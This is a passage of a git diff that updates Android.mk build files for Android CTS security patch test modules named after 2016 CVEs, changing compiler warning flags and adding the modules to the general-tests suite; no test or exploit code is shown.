-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-main-return-type -Wno-pointer-sign
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
index 3ba801e..a67cb17 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
index 14337ab..381a57d 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6730/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
index 718dbe3..e72feab 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6731/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
index 03b7b87..c898c18 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6732/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
index 7b02188..9198e21 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6733/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
index e1eebbd..6b6a8c0 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6734/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
index 8935cd6..2568293 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6735/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
index fd7fc21..dd9be28 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-6736/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-label
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
index bba13f3..9b1139f 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8412/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
index 5ff169b..e2659ad 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
index e984812..d07c807 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-function
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
index a134d9c..7018f27 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-variable -Wno-unused-function
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
index 131f240..8122f50 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-constant-conversion -Wno-user-defined-warnings
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
index 21326f9..a485a25 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
@@ -22,14 +22,12 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-missing-field-initializers
+LOCAL_CFLAGS += -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
index bfe8718..c2f1868 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8429/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-missing-field-initializers
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
index 839047b..8d5008b 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8430/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-missing-field-initializers
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
index d0ef823..e1df312 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8431/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wall -Werror
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
index 614d20b..aa47daf 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8432/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
index 6b20fe4..43518ab 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8434/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
index 62efb65..6ba82b3 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
index 50e2f6a..5fa5deb 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
index cd6049f..c3b9b1d 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
@@ -22,14 +22,10 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
index ce1e1bb..a3ff748 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
@@ -22,14 +22,11 @@
